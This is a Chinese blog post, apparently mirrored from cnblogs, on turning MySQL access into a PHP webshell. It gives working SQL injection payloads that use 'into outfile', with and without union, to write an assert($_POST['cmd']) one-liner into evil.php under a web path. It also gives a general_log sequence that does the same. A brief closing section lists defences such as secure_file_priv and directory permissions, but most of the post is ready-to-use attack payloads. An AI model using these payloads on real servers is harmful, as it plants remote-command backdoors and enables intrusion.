zoukankan      html  css  js  c++  java
  • MySQL 拿 WebShell

    两种常规方法利用 MySQL getshell 的方法:

    select … into outfile
    general_log

    一、select … into outfile 介绍

    利用需要满足以下条件:

    对web目录有写权限
    GPC关闭(能使用单引号)
    有绝对路径(读文件可以不用,写文件必须)
    没有配置 –secure-file-priv
    姿势:

    有 union
    id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23
    1
    无 union
    id=2) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23
    1


    其中 fields terminated by 是用来指定列之间分隔符,如果查询结果为单列则不会插入分隔符,所以必须有多个列才能成功写入一句话

    二、general_log 介绍

    利用需要满足以下条件:

    对web目录有写权限
    GPC关闭(能使用单引号)
    有绝对路径(读文件可以不用,写文件必须)
    需要能执行多行sql语句
    姿势:

    set global general_log='on';
    SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
    SELECT '<?php assert($_POST["cmd"]);?>';



    设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开

    需要注意的是 secure_file_priv 是只读属性,如果试图使用 set global 修改会报如下 Error

    Error Code: 1238. Variable 'secure_file_priv' is a read only

     

    三、防御姿势

    设置 secure_file_prive = null (不允许导入和导出)

    防止暴露网站绝对路径
    正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限

  • 相关阅读:
    Google官方关于Android架构中MVP模式的示例续-DataBinding
    值不值
    [译]Godot系列教程五
    [译]Google官方关于Android架构中MVP模式的示例
    遭遇Web print
    如何寻找有价值的点
    充电时间 Go中的数组、切片、map简单示例
    一段良好的程序永远不应该发生panic异常
    居然是Firefox没有抛弃我们
    macOS 升级到了10.12.1
  • 原文地址:https://www.cnblogs.com/-qing-/p/10692789.html
Copyright © 2011-2022 走看看